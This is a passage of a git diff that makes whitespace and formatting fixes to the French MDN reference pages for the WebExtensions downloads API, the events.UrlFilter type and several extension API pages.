Les chemins absolus, les chemins vides et les chemins contenant des références arrières (`../`) provoqueront une erreur. Si elle est omise, cette valeur sera par défaut le nom de fichier déjà donné au fichier de téléchargement, et un emplacement immédiatement dans le répertoire de téléchargement. - `headers`{{optional_inline}} - : Si l'URL utilise les protocoles HTTP ou HTTPS, un `array` d'`objects` représentant des en-têtes HTTP supplémentaires à envoyer avec la requête. Chaque en-tête est représenté sous la forme d'un objet dictionnaire contenant le `name` des clés et soit la `value`, soit la valeur `binaryValue`. Les en-têtes interdits par `XMLHttpRequest` et `fetch` ne peuvent pas être spécifiés, cependant, Firefox 70 et les versions ultérieures permettent d'utiliser l'en-tête `Referer`. Tenter d'utiliser un en-tête interdit provoque une erreur. - `incognito`{{optional_inline}} @@ -61,14 +61,14 @@ var downloading = browser.downloads.download( Si cette option est omise, le navigateur affichera le sélecteur de fichier ou non en fonction de la préférence générale de l'utilisateur pour ce comportement (dans Firefox cette préférence est intitulée "Toujours vous demander où enregistrer les fichiers" dans about:preferences, ou `browser.download.useDownloadDir` dans about:config). - > **Note :** Firefox pour Android provoque une erreur si `saveAs` est à `true`. Le paramètre est ignoré lorsque `saveAs` est `false` ou non inclus. + > **Note :** Firefox pour Android provoque une erreur si `saveAs` est à `true`. Le paramètre est ignoré lorsque `saveAs` est `false` ou non inclus. - `url` - : Un `string` représentant l'URL à télécharger. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Si le téléchargement a démarré avec succès, la promesse sera remplie avec l'`id` de la nouvelle {{WebExtAPIRef("downloads.DownloadItem")}}. Sinon, la promesse sera rejetée avec un message d'erreur venant de {{WebExtAPIRef("downloads.InterruptReason")}}. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Si le téléchargement a démarré avec succès, la promesse sera remplie avec l'`id` de la nouvelle {{WebExtAPIRef("downloads.DownloadItem")}}. Sinon, la promesse sera rejetée avec un message d'erreur venant de {{WebExtAPIRef("downloads.InterruptReason")}}. Si vous utilisez [URL.createObjectURL()](/fr/docs/Web/API/URL/createObjectURL) pour télécharger des données créées en JavaScript et que vous voulez révoquer l'URL de l'objet (avec [revokeObjectURL](/fr/docs/Web/API/URL/revokeObjectURL)) plus tard (comme il est fortement recommandé), vous devez le faire après le téléchargement. Pour ce faire, écoutez l'événement [downloads.onChanged](/fr/Add-ons/WebExtensions/API/downloads/onChanged). diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/downloaditem/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/downloaditem/index.md index 4d81c6642d..90f2a1f9ca 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/downloaditem/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/downloaditem/index.md @@ -30,15 +30,15 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `canResume` - : Un `boolean` indiquant si un téléchargement actuellement interrompu (par exemple en pause) peut être repris à partir du point où il a été interrompu (`true`), ou non (`false`). - `danger` - - : Une chaîne indiquant si ce téléchargement est considéré comme sûr ou suspect. Ses valeurs possibles sont définies dans le type {{WebExtAPIRef('downloads.DangerType')}}. + - : Une chaîne indiquant si ce téléchargement est considéré comme sûr ou suspect. Ses valeurs possibles sont définies dans le type {{WebExtAPIRef('downloads.DangerType')}}. - `endTime`{{optional_inline}} - : Un `string` (au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601)) représentant le nombre de millisecondes entre l'époque UNIX et la fin de ce téléchargement. Ceci n'est pas défini si le téléchargement n'est pas encore terminé. - `error`{{optional_inline}} - : Une chaîne indiquant pourquoi un téléchargement a été interrompu. Les valeurs possibles sont définies dans le type {{WebExtAPIRef('downloads.InterruptReason')}}. Ceci n'est pas défini si une erreur ne s'est pas produite. - `estimatedEndTime`{{optional_inline}} - - : Un `string` (au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601)) représentant le nombre estimé de millisecondes entre l'époque UNIX et la date à laquelle ce téléchargement est estimé terminé. Ceci est indéfini s'il n'est pas connu (en particulier, il n'est pas défini dans le `DownloadItem` qui est passé dans {{WebExtAPIRef("downloads.onCreated")}}). + - : Un `string` (au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601)) représentant le nombre estimé de millisecondes entre l'époque UNIX et la date à laquelle ce téléchargement est estimé terminé. Ceci est indéfini s'il n'est pas connu (en particulier, il n'est pas défini dans le `DownloadItem` qui est passé dans {{WebExtAPIRef("downloads.onCreated")}}). - `exists` - - : Un `boolean` indiquant si un fichier téléchargé existe toujours (`true`) ou non (`false`). Ces informations peuvent être périmées, car les navigateurs ne surveillent pas automatiquement la suppression des fichiers. Pour vérifier si un fichier existe, appelez la méthode {{WebExtAPIRef('downloads.search()')}}, en filtrant le fichier question. + - : Un `boolean` indiquant si un fichier téléchargé existe toujours (`true`) ou non (`false`). Ces informations peuvent être périmées, car les navigateurs ne surveillent pas automatiquement la suppression des fichiers. Pour vérifier si un fichier existe, appelez la méthode {{WebExtAPIRef('downloads.search()')}}, en filtrant le fichier question. - `filename` - : Un `string` représentant le chemin local absolu du fichier. - `fileSize` diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/downloadquery/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/downloadquery/index.md index 3f671d1cec..ad6184e394 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/downloadquery/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/downloadquery/index.md @@ -33,9 +33,9 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `endedAfter`{{optional_inline}} - : Un {{WebExtAPIRef('downloads.DownloadTime', "DownloadTime")}}. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} qui s'est terminé après l'heure indiquée. - `totalBytesGreater`{{optional_inline}} - - : Un `number` représentant un nombre d'octets. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} dont le `totalBytes` est supérieur au nombre donné. + - : Un `number` représentant un nombre d'octets. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} dont le `totalBytes` est supérieur au nombre donné. - `totalBytesLess`{{optional_inline}} - - : Un `number` représentant un nombre d'octets. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} dont le `totalBytes` est inférieur au nombre donné. + - : Un `number` représentant un nombre d'octets. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} dont le `totalBytes` est inférieur au nombre donné. - `filenameRegex`{{optional_inline}} - : Un `string` représentant une expression régulière. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} dont le `nom du fichier` correspond à l'expression régulière donnée.. - `urlRegex`{{optional_inline}} @@ -43,7 +43,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `limit`{{optional_inline}} - : Un `integer` représentant un nombre de résultats. Incluez uniquement le nombre spécifié de {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}}. - `orderBy`{{optional_inline}} - - : Un `tableau`de `chaînes` représentant les propriétés {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}} les résultats de la recherche doivent être tirés par exemple, en incluant `startTime` puis `totalBytes` dans le tableau trierait {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} par leur heure de début, puis le total des octets — dans l'ordre croissant. Pour spécifier le tri par une propriété dans l'ordre décroissant, préfixez-le avec un trait d'union, par exemple `-startTime`. + - : Un `tableau`de `chaînes` représentant les propriétés {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}} les résultats de la recherche doivent être tirés par exemple, en incluant `startTime` puis `totalBytes` dans le tableau trierait {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} par leur heure de début, puis le total des octets — dans l'ordre croissant. Pour spécifier le tri par une propriété dans l'ordre décroissant, préfixez-le avec un trait d'union, par exemple `-startTime`. - `id`{{optional_inline}} - : Un `integer` représentant l'ID du {{WebExtAPIRef("downloads.DownloadItem")}} que vous souhaitez interroger. - `url`{{optional_inline}} @@ -53,9 +53,9 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `danger`{{optional_inline}} - : Une chaîne représentant un {{WebExtAPIRef('downloads.DangerType')}} — inclut uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur de `danger` . - `mime`{{optional_inline}} - - : Un `string` représentant un type MIME. Incluez uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `mime`. + - : Un `string` représentant un type MIME. Incluez uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `mime`. - `startTime`{{optional_inline}} - - : Un `string` représentant une heure au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601). Incluez seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `startTime`. + - : Un `string` représentant une heure au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601). Incluez seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `startTime`. - `endTime`{{optional_inline}} - : Un `string` représentant une heure au format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601). Inclure uniquement sera limité à {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `endTime`. - `state`{{optional_inline}} @@ -63,11 +63,11 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `paused`{{optional_inline}} - : Un `boolean` qui indique si un téléchargement est en pause — c'est-à-dire qui a cessé de lire les données de l'hôte, mais qui a conservé la connexion ouverte (`true`), ou non (`false`). inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur de `pause`. - `error`{{optional_inline}} - - : Une chaîne représentant un {{WebExtAPIRef('downloads.InterruptReason')}} — une raison pour laquelle un téléchargement a été interrompu. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur d' `erreur` . + - : Une chaîne représentant un {{WebExtAPIRef('downloads.InterruptReason')}} — une raison pour laquelle un téléchargement a été interrompu. Inclure uniquement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur d' `erreur` . - `bytesReceived`{{optional_inline}} - - : Un `number` représentant le nombre d'octets reçus jusqu'ici de l'hôte, sans tenir compte de la compression de fichier. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `bytesReceived`. + - : Un `number` représentant le nombre d'octets reçus jusqu'ici de l'hôte, sans tenir compte de la compression de fichier. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `bytesReceived`. - `totalBytes`{{optional_inline}} - - : Un `number` représentant le nombre total d'octets dans le fichier téléchargé, sans tenir compte de la compression de fichier. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `totalBytes`. + - : Un `number` représentant le nombre total d'octets dans le fichier téléchargé, sans tenir compte de la compression de fichier. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `totalBytes`. - `fileSize`{{optional_inline}} - : `number`. Nombre d'octets dans le fichier entier après la décompression, ou -1 si inconnu. Un `nombre` représentant le nombre total d'octets dans le fichier après la décompression. Inclure seulement {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} avec cette valeur `fileSize`. - `exists`{{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/index.md index 1729e6029d..dd29ee2d9f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/index.md @@ -46,7 +46,7 @@ Pour utiliser cette API, vous devez disposer de l' [API permission](/fr/Add-ons/ - {{WebExtAPIRef("downloads.download()")}} - : Télécharge un fichier, compte tenu de son URL et d'autres préférences optionnelles. - {{WebExtAPIRef("downloads.search()")}} - - : Interroge le {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} disponible dans le gestionnaire de téléchargements du navigateur et renvoie ceux qui correspondent aux critères de recherche spécifiés. + - : Interroge le {{WebExtAPIRef("downloads.DownloadItem", "DownloadItems")}} disponible dans le gestionnaire de téléchargements du navigateur et renvoie ceux qui correspondent aux critères de recherche spécifiés. - {{WebExtAPIRef("downloads.pause()")}} - : Suspend un téléchargement. - {{WebExtAPIRef("downloads.resume()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/onchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/onchanged/index.md index e2063d195c..fbd42a2b9f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/onchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/onchanged/index.md @@ -55,9 +55,9 @@ Les événements ont trois fonctions : L'objet `downloadDelta` a les propriétés suivantes disponibles : - `id` - - : Un `integer` représentant l'identifiant de l'`id` {{WebExtAPIRef('downloads.DownloadItem')}} qui a changé. + - : Un `integer` représentant l'identifiant de l'`id` {{WebExtAPIRef('downloads.DownloadItem')}} qui a changé. - `url`{{optional_inline}} - - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant une modification d'une `url` {{WebExtAPIRef('downloads.DownloadItem')}}. + - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant une modification d'une `url` {{WebExtAPIRef('downloads.DownloadItem')}}. - `filename`{{optional_inline}} - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `filename` {{WebExtAPIRef('downloads.DownloadItem')}} - `danger`{{optional_inline}} @@ -67,9 +67,9 @@ L'objet `downloadDelta` a les propriétés suivantes disponibles : - `startTime`{{optional_inline}} - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `startTime` {{WebExtAPIRef('downloads.DownloadItem')}}. - `endTime`{{optional_inline}} - - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `endTime` {{WebExtAPIRef('downloads.DownloadItem')}}. + - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `endTime` {{WebExtAPIRef('downloads.DownloadItem')}}. - `state`{{optional_inline}} - - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `état` {{WebExtAPIRef('downloads.DownloadItem')}} + - : Un objet {{WebExtAPIRef('downloads.StringDelta')}} décrivant un changement dans un `état` {{WebExtAPIRef('downloads.DownloadItem')}} - `canResume`{{optional_inline}} - : Un objet {{WebExtAPIRef('downloads.BooleanDelta')}} décrivant un changement dans un état {{WebExtAPIRef('downloads.DownloadItem')}} `canResume`. - `paused`{{optional_inline}} @@ -79,7 +79,7 @@ L'objet `downloadDelta` a les propriétés suivantes disponibles : - `totalBytes`{{optional_inline}} - : Un objet {{WebExtAPIRef('downloads.DoubleDelta')}} décrivant un changement dans un `totalBytes` {{WebExtAPIRef('downloads.DownloadItem')}}. - `fileSize`{{optional_inline}} - - : Un objet {{WebExtAPIRef('downloads.DoubleDelta')}} décrivant une modification d'un `fileSize` {{WebExtAPIRef('downloads.DownloadItem')}}. + - : Un objet {{WebExtAPIRef('downloads.DoubleDelta')}} décrivant une modification d'un `fileSize` {{WebExtAPIRef('downloads.DownloadItem')}}. - `exists`{{optional_inline}} - : Un objet {{WebExtAPIRef('downloads.BooleanDelta')}} décrivant un changement dans un état {{WebExtAPIRef('downloads.DownloadItem')}}. diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/onerased/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/onerased/index.md index a8d90683a7..1fea0e8d56 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/onerased/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/onerased/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/onErased L'événement **`onErased()`** de l'API {{WebExtAPIRef("downloads")}} se déclenche lorsqu'un téléchargement est effacé de l'historique du navigateur. -L'écouteur reçoit le paramètre `downloadId` de l'objet {{WebExtAPIRef('downloads.DownloadItem')}} en question en tant que paramètre. +L'écouteur reçoit le paramètre `downloadId` de l'objet {{WebExtAPIRef('downloads.DownloadItem')}} en question en tant que paramètre. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/open/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/open/index.md index bc3000bdef..074216b93c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/open/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/open/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/open La fonction **`open()`** de l'API {{WebExtAPIRef("downloads")}} ouvre le fichier téléchargé avec son application associée. Un événement {{WebExtAPIRef("downloads.onChanged")}} se déclenche lorsque l'élément est ouvert pour la première fois. -Pour utiliser cette fonction dans votre extension, vous devez demander la [permission manifest](/fr/Add-ons/WebExtensions/manifest.json/permissions) "downloads.open", ainsi que la permission "downloads". En outre, vous pouvez uniquement appeler cette fonction à l'intérieur du gestionnaire pour une [action utilisateur](/fr/Add-ons/WebExtensions/User_actions). +Pour utiliser cette fonction dans votre extension, vous devez demander la [permission manifest](/fr/Add-ons/WebExtensions/manifest.json/permissions) "downloads.open", ainsi que la permission "downloads". En outre, vous pouvez uniquement appeler cette fonction à l'intérieur du gestionnaire pour une [action utilisateur](/fr/Add-ons/WebExtensions/User_actions). C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/removefile/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/removefile/index.md index d7553cd9b0..48ea1360d2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/removefile/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/removefile/index.md @@ -17,13 +17,13 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/removeFile La fonction **`removeFile()`** de l'API {{WebExtAPIRef("downloads")}} supprime un fichier téléchargé du disque. -Cette API supprime le fichier du disque, mais ne le supprime pas de l'historique des téléchargements du navigateur, donc un appel {{WebExtAPIRef("downloads.search()")}} renvoie toujours l'élément comme {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}}, mais son attribut `exists` sera `false`. +Cette API supprime le fichier du disque, mais ne le supprime pas de l'historique des téléchargements du navigateur, donc un appel {{WebExtAPIRef("downloads.search()")}} renvoie toujours l'élément comme {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}}, mais son attribut `exists` sera `false`. -Pour supprimer un fichier de l'historique des téléchargements, vous devez utiliser {{WebExtAPIRef("downloads.erase()")}}. +Pour supprimer un fichier de l'historique des téléchargements, vous devez utiliser {{WebExtAPIRef("downloads.erase()")}}. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). -> **Note :** Si vous souhaitez supprimer un fichier téléchargé du disque et l'effacer de l'historique, vous devez appeler `removeFile()` avant d'appeler {{WebExtAPIRef("downloads.erase()")}}. Si vous l'essayez dans l'autre sens, vous obtiendrez une erreur lors de l'appel de `removeFile()`, car le navigateur n'aura plus d'enregistrement du téléchargement. +> **Note :** Si vous souhaitez supprimer un fichier téléchargé du disque et l'effacer de l'historique, vous devez appeler `removeFile()` avant d'appeler {{WebExtAPIRef("downloads.erase()")}}. Si vous l'essayez dans l'autre sens, vous obtiendrez une erreur lors de l'appel de `removeFile()`, car le navigateur n'aura plus d'enregistrement du téléchargement. ## Syntaxe @@ -36,7 +36,7 @@ var removing = browser.downloads.removeFile( ### Paramètres - `downloadId` - - : Un `integer` représentant l'identifiant de {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}} que vous souhaitez supprimer du disque. + - : Un `integer` représentant l'identifiant de {{WebExtAPIRef("downloads.DownloadItem", "DownloadItem")}} que vous souhaitez supprimer du disque. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/search/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/search/index.md index 75fba0b484..ecfd0c4355 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/search/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/search/index.md @@ -54,7 +54,7 @@ function logDownloads(downloads) { } function onError(error) { - console.log(`Error: ${error}`); + console.log(`Error: ${error}`); } var searching = browser.downloads.search({ @@ -77,7 +77,7 @@ function logDownloads(downloads) { } function onError(error) { - console.log(`Error: ${error}`); + console.log(`Error: ${error}`); } var id = 13; @@ -99,7 +99,7 @@ function logDownloads(downloads) { } function onError(error) { - console.log(`Error: ${error}`); + console.log(`Error: ${error}`); } var searching = browser.downloads.search({}); diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/setshelfenabled/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/setshelfenabled/index.md index 8f28262a75..e191fa57eb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/setshelfenabled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/setshelfenabled/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/setShelfEnabled --- {{AddonSidebar()}} -La fonction **`setShelfEnabled()`** de l'API {{WebExtAPIRef("downloads")}} active ou désactive l'étagère grise située en bas de chaque fenêtre associée au profil de navigateur actuel. L'étagère sera désactivée si au moins une extension l'a désactivée. +La fonction **`setShelfEnabled()`** de l'API {{WebExtAPIRef("downloads")}} active ou désactive l'étagère grise située en bas de chaque fenêtre associée au profil de navigateur actuel. L'étagère sera désactivée si au moins une extension l'a désactivée. Si vous essayez d'activer l'étagère lorsqu'au moins une autre extension l'a déjà désactivé, l'appel échouera et {{WebExtAPIRef("runtime.lastError")}} sera défini avec un message d'erreur approprié. @@ -27,7 +27,7 @@ Si vous essayez d'activer l'étagère lorsqu'au moins une autre extension l'a d chrome.downloads.setShelfEnabled(enabled); ``` -Cette API est également disponible en tant que `browser.downloads.setShelfEnabled()`. +Cette API est également disponible en tant que `browser.downloads.setShelfEnabled()`. ### Paramètres diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/show/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/show/index.md index a8c2e1f49f..b2bfa54d0e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/show/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/show/index.md @@ -46,7 +46,7 @@ Cet exemple montre l'élément le plus récemment téléchargé : ```js function onShowing(success) { - console.log(`Showing download item: ${success}`); + console.log(`Showing download item: ${success}`); } function onError(error) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/downloads/state/index.md b/files/fr/mozilla/add-ons/webextensions/api/downloads/state/index.md index c99d21a9fd..b4d9e34167 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/downloads/state/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/downloads/state/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads/State Le type d'`état` de l'API {{WebExtAPIRef("downloads")}} définit différents états dans lesquels un téléchargement en cours peut se trouver. -Une propriété d'`state` {{WebExtAPIRef('downloads.DownloadItem')}} contiendra une chaîne tirée des valeurs définies dans ce type. +Une propriété d'`state` {{WebExtAPIRef('downloads.DownloadItem')}} contiendra une chaîne tirée des valeurs définies dans ce type. ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/events/urlfilter/index.md b/files/fr/mozilla/add-ons/webextensions/api/events/urlfilter/index.md index 322ebb321a..de99bfdbdf 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/events/urlfilter/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/events/urlfilter/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/events/UrlFilter --- {{AddonSidebar()}} -Décrit différents critères de filtrage des URL. Si tous les critères spécifiés dans les propriétés du filtre correspondent à l'URL, le filtre correspond. Les filtres sont souvent fournis aux méthodes API dans un [Array](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) d'UrlFilters. Par exemple, les écouteurs [webNavigation](/fr/Add-ons/WebExtensions/API/webNavigation) peuvent être ajoutés avec un filtre qui est un objet avec une seule propriété url qui est un [Array](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) de UrlFilters, par exemple `{url:[UrlFilter,UrlFilter,...]}`. Si un filtre dans le tableau de UrlFilters correspond, il est considéré comme une correspondance pour le tableau. En effet, les critères spécifiés dans un seul filtre sont associés ensemble, alors que tous les filtres individuels dans un tableau sont où. +Décrit différents critères de filtrage des URL. Si tous les critères spécifiés dans les propriétés du filtre correspondent à l'URL, le filtre correspond. Les filtres sont souvent fournis aux méthodes API dans un [Array](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) d'UrlFilters. Par exemple, les écouteurs [webNavigation](/fr/Add-ons/WebExtensions/API/webNavigation) peuvent être ajoutés avec un filtre qui est un objet avec une seule propriété url qui est un [Array](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) de UrlFilters, par exemple `{url:[UrlFilter,UrlFilter,...]}`. Si un filtre dans le tableau de UrlFilters correspond, il est considéré comme une correspondance pour le tableau. En effet, les critères spécifiés dans un seul filtre sont associés ensemble, alors que tous les filtres individuels dans un tableau sont où. Tous les critères sont sensibles à la casse. @@ -29,7 +29,7 @@ Toutefois, notez que ces deux derniers modèles ne correspondent pas au dernier - : `string`. Correspond si le [hostname](/fr/docs/Web/API/HTMLHyperlinkElementUtils/hostname) de l'URL contient la chaîne donnée. - - Pour tester si un composant de nom d'hôte commence par "foo", utilisez `".foo"`. Cela correspond à "www\.foobar.com" et "foo.com", car un point implicite est ajouté au début du nom d'hôte. + - Pour tester si un composant de nom d'hôte commence par "foo", utilisez `".foo"`. Cela correspond à "www\.foobar.com" et "foo.com", car un point implicite est ajouté au début du nom d'hôte. - Pour tester si un composant de nom d'hôte se termine par "foo", utilisez `"foo."`. - Pour tester si un composant de nom d'hôte correspond exactement à "foo", utilisez `".foo."`. @@ -42,7 +42,7 @@ Toutefois, notez que ces deux derniers modèles ne correspondent pas au dernier - : `string`. Correspond si le nom d'hôte de l'URL se termine par une chaîne spécifiée. - Exemple: `".example.com"` correspond à "http\://www\.example.com/", mais pas à "http\://example.com/". - - Exemple: `"example.com"` correspond à "http\://www\.example.com/", et "http\://fakeexample.com/". + - Exemple: `"example.com"` correspond à "http\://www\.example.com/", et "http\://fakeexample.com/". - `pathContains`{{optional_inline}} - : `string`. Correspond si le segment de chemin de l'URL contient une chaîne spécifiée. @@ -66,7 +66,7 @@ Toutefois, notez que ces deux derniers modèles ne correspondent pas au dernier - : `string`. Correspond si l'URL (sans l'identificateur de fragment) est égale à une chaîne spécifiée. Les numéros de port sont supprimés de l'URL s'ils correspondent au numéro de port par défaut. - `urlMatches`{{optional_inline}} - - : `string`. Correspond si l'URL (sans l'identificateur de fragment) correspond à une [expression régulière](/fr/docs/Web/JavaScript/Guide/Regular_Expressions). Les numéros de port sont supprimés de l'URL s'ils correspondent au numéro de port par défaut. + - : `string`. Correspond si l'URL (sans l'identificateur de fragment) correspond à une [expression régulière](/fr/docs/Web/JavaScript/Guide/Regular_Expressions). Les numéros de port sont supprimés de l'URL s'ils correspondent au numéro de port par défaut. - Par exemple : `urlMatches: "^[^:]*:(?://)?(?:[^/]*\\.)?mozilla\\.org/.*$"` correspond "http\://mozilla.org/", "https\://developer.mozilla.org/", "ftp\://foo.mozilla.org/", mais pas "https\://developer.fakemozilla.org/". @@ -76,7 +76,7 @@ Toutefois, notez que ces deux derniers modèles ne correspondent pas au dernier - : `string`. Correspond si l'URL (sans l'identificateur de fragment) commence par une chaîne spécifiée. Les numéros de port sont supprimés de l'URL s'ils correspondent au numéro de port par défaut. - - Exemple: `"https://developer"` correspond "https\://developer.mozilla.org/" et "https\://developers.facebook.com/". + - Exemple: `"https://developer"` correspond "https\://developer.mozilla.org/" et "https\://developers.facebook.com/". - `urlSuffix`{{optional_inline}} - : `string`. Correspond si l'URL (sans l'identificateur de fragment) se termine par une chaîne spécifiée. Les numéros de port sont supprimés de l'URL s'ils correspondent au numéro de port par défaut. Notez qu'un slash "/" implicite est ajoutée après l'hôte, donc `"com/"` correspond "https\://example.com", mais pas `"com"`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/extension/getbackgroundpage/index.md b/files/fr/mozilla/add-ons/webextensions/api/extension/getbackgroundpage/index.md index 8764c1326a..033a614ec4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/extension/getbackgroundpage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/extension/getbackgroundpage/index.md @@ -39,7 +39,7 @@ Aucun ## Exemples -Supposons un [script d'arrière plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts) définisse une fonction `foo()`: +Supposons un [script d'arrière plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts) définisse une fonction `foo()`: ```js // background.js diff --git a/files/fr/mozilla/add-ons/webextensions/api/extension/sendrequest/index.md b/files/fr/mozilla/add-ons/webextensions/api/extension/sendrequest/index.md index 6700df4dea..ae4185d770 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/extension/sendrequest/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/extension/sendrequest/index.md @@ -42,7 +42,7 @@ Cette API est également disponible en tant que `browser.extension.sendRequest() - : `function`. La fonction est passée les arguments suivants : - `response` - - : `any`. Objet de réponse JSON envoyé par le gestionnaire de la requête. 